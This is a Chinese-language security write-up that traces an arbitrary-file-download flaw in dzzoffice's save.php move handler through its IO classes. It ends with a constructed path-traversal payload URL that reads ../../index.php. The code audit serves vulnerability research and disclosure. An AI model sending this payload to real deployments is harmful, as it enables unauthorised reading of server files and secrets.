dzzoffice 任意文件下載
\updload\dzz\system\save.php
第72行開始:
elseif($_GET['do']=='move'){
$obz=trim($_GET['obz']);
$tbz=trim($_GET['tbz']);
$sourcetype=trim($_GET['sourcetype']);
$icoids=explode(',',$_GET['icoid']);
$ticoid=intval($_GET['ticoid']);
$container=trim($_GET['container']);
$iscut=isset($_GET['iscut'])?intval($_GET['iscut']):0;
$data=array();
$icoarr=array();
$folderarr=array();
進入move條件
幾個參數全是直接GET傳入,沒有過濾,只有$ticoid經過intval整形判斷。
$icoids看這個參數完全沒有過濾,跟進
elseif($sourcetype=='icoid'){//
$data=array();
$totalsize=0;
$data['gid']=$gid;
$data['iscopy']=$iscopy;
$icos=$folderids=array();
//
foreach($icoids as $icoid){
//
$opath=rawurldecode($icoid);
$path=rawurldecode(str_replace(array('_dock_','icosContainer_folder_','icosContainer_body_'),'',$container));
$return=IO::CopyTo($opath,$path,$iscopy);
if(!$iscopy){
$return = IO::DeleteByData($return);
}
if($return['success']===true){
$data['icoarr'][]=$return['newdata'];
if(!$tbz){
addtoconfig($return['newdata'],$ticoid);
}
if($return['newdata']['type']=='folder') $data['folderarr'][]=IO::getFolderByIcosdata($return['newdata']);
$data['successicos'][$return['icoid']]=$return['newdata']['icoid'];
}else{
$data['error'][]=$return['name'].':'.$return['success'];
}
}
if($data['successicos']){
$data['msg']='success';
if(isset($data['error'])) $data['error']=implode(';',$data['error']);
echo json_encode_gbk($data);
exit();
}else{
$data['error']=implode(';',$data['error']);
echo json_encode_gbk($data);
exit();
}
}
第162到第205行全是這個函數相關。
首先是rawurldecode 和urldecode功能一樣是url解碼,然后$container=trim($_GET['container']);
這個函數也是直接傳入然后去空格沒有過濾。
$return=IO::CopyTo($opath,$path,$iscopy);這句是返回一個IO類的CopyTo方法的值跟進這個方法
class IO extends dzz_io {}
找到dzz_io類
在\upload\core\class\dzz\dzz_io.php中定義這個類
然后找到類方法CopyTo
function CopyTo($opath,$path,$iscopy=0){
if($io=self::initIO($opath)) return $io->CopyTo($opath,$path,$iscopy);
else return false;
}
這里調用了另外一個類方法initIO這里把傳入的第一個變量$opath傳到這個方法當中跟進這個類方法
protected function initIO($path){
$bzarr=explode(':',$path);
$allowbz=C::t('connect')->fetch_all_bz();//array('baiduPCS','ALIOSS','dzz','JSS');
if(strpos($path,'dzz::')!==false){
$classname= 'io_dzz';
}elseif(strpos($path,'attach::')!==false){
$classname= 'io_dzz';
}elseif(is_numeric($bzarr[0])){
$classname= 'io_dzz';
}elseif(in_array($bzarr[0],$allowbz)){
$classname= 'io_'.$bzarr[0];
}else{
return false;
}
return new $classname($path);
觀察返回值前是return $io->CopyTo而這里$io的值全是io_dzz所以就變成了return io_dzz->CopyTo(這里之前沒注意$io返回值卡了半天)
查看io_dzz類中的CopyTo方法
public function CopyTo($icoid,$path,$iscopy){
try{
$data=self::getMeta($icoid);
if(is_numeric($path)){//如果目標位置也是本地
if(!$iscopy){
$re=self::FileMove($icoid,$path,true);
$data['newdata']=$re['icoarr'];
$data['success']=true;
}else{
$re=self::FileCopy($icoid,$path,true);
$data['newdata']=$re['icoarr'];
$data['success']=true;
}
}else{
switch($data['type']){
case 'folder'://創建目錄
if($re=IO::CreateFolder($path,$data['name'])){
if(isset($re['error']) && intval($re['error_code'])!=31061){
$data['success']=$arr['error'];
}else{
$data['newdata']=$re['icoarr'];
$data['success']=true;
$contents=C::t('icos')->fetch_all_by_pfid($data['oid']);
foreach($contents as $key=>$value){
$data['contents'][$key]=self::CopyTo($value['icoid'],$re['folderarr']['path']);
}
}
}
break;
case 'shortcut':case 'discuss':case 'dzzdoc':case 'user':case 'link':case 'music':case 'video':case 'topic':case 'app'://這些內容不能移動到api網盤內;
$data['success']=lang('message','非文件類只能存儲在企業盤');
break;
default:
$re=IO::multiUpload($icoid,$path,$data['name']);
if($re['error']) $data['success']=$re['error'];
else{
$data['newdata']=$re;
$data['success']=true;
}
break;
}
}
}catch(Exception $e){
$data['success']=$e->getMessage();
return $data;
}
return $data;
}
在\upload\core\class\io\io_dzz.php的1415到1465行
$re=IO::multiUpload($icoid,$path,$data['name']);這里調用multiUpload方法跟進
function multiUpload($file,$path,$filename,$attach=array(),$ondup="newcopy"){
if($io=self::initIO($path)) return $io->multiUpload($file,$path,$filename,$attach,$ondup);
else return false;
}
同樣是io_dzz類里面的multiUpload方法
public function multiUpload($opath,$path,$filename,$attach=array(),$ondup="newcopy"){
/*
* 分塊上傳文件
* param $file:文件路徑(可以是url路徑,需要服務器開啟allow_url_fopen);
*/
$partsize=1024*1024*5; //分塊大小2M
$data=IO::getMeta($opath);
if($data['error']) return $data;
$size=$data['size'];
if(is_array($filepath=IO::getStream($opath))){
return array('error'=>$filepath['error']);
}
if(!SpaceSize($attach['filesize'],$gid)){
return array('error' => lang('message','inadequate_capacity_space'));
}
if($size<$partsize){
//獲取文件內容
$fileContent='';
if(!$handle=fopen($filepath, 'rb')){
return array('error'=>'打開文件錯誤');
}
while (!feof($handle)) {
$fileContent .= fread($handle, 8192);
}
fclose($handle);
return self::upload($fileContent,$path,$filename);
}else{ //分片上傳
$partinfo=array('ispart'=>true,'partnum'=>0,'flag'=>$path,'iscomplete'=>false);
if(!$handle=fopen($filepath, 'rb')){
return array('error'=>'打開文件錯誤');
}
$fileContent='';
while (!feof($handle)) {
$fileContent .= fread($handle, 8192);
if(strlen($fileContent)>=$partsize){
$partinfo['partnum']+=1;
if($partinfo['partnum']*$partsize>=$size) $partinfo['iscomplete']=true;
if($re=self::upload($fileContent,$path,$filename,$partinfo)){
if($re['error']) return $re;
if($partinfo['iscomplete']) return $re;
}
$fileContent='';
}
}
fclose($handle);
if(!empty($fileContent)){
$partinfo['partnum']+=1;
$partinfo['iscomplete']=true;
if($re=self::upload($fileContent,$path,$filename,$partinfo)){
if($re['error']) return $re;
if($partinfo['iscomplete']) return $re;
}
}
}
}
}
這里上傳文件
重點終於來了!!!
if($size<$partsize){
//獲取文件內容
$fileContent='';
if(!$handle=fopen($filepath, 'rb')){
return array('error'=>'打開文件錯誤');
}
while (!feof($handle)) {
$fileContent .= fread($handle, 8192);
}
fclose($handle);
return self::upload($fileContent,$path,$filename);
這里upload居然還會返回,而且變量可控。
mod=corpus&op=list&cid=&fid=在數據庫中看到他的上傳結構是這樣的
構造payload
/mod=system&op=save&do=move&container=dzz::&tbz=a&sourcetype=icoid&icoid=../../index.php